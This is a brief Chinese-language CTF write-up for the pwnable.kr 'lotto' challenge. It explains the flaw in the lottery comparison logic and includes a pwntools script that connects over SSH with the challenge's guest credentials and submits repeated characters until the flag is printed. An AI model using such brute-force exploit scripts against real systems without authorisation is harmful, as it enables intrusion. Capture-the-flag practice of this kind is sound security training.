执行分析题目代码,发现是输入值和十进制是1到45的ASCII码系统生成对应字母做比较;而比较方法是遍历输入值的所有位和系统生成字符串的每个位作比较,相同计数为6则爆出flag。漏洞啊,只要押中有一字母在系统生成字符串中,输入值全部是那个字母即可。
那我们按要求输入的字符转换成十进制只能是33-45了,因为1-32是不可见字符,无法输入。通过多次尝试,即可产生结果。可以写个脚本等哦。
from pwn import * s= ssh(host='pwnable.kr',user='lotto',password='guest',port=2222) pro=s.process('/home/lotto/lotto') print pro.recv() #pro.sendline('1') #print pro.recv() str="++++++" #str+=chr(1)+chr(1)+chr(1)+chr(1)+chr(1)+chr(1) #print str #pro.sendline(str) #recvstr=pro.recv() #print len(recvstr),recvstr while 1: pro.sendline('1') print pro.recv() pro.sendline(str) a=pro.recv() if len(a)!=71: #经验证,错误时返回信息长度是71 print a break
愉快地结束。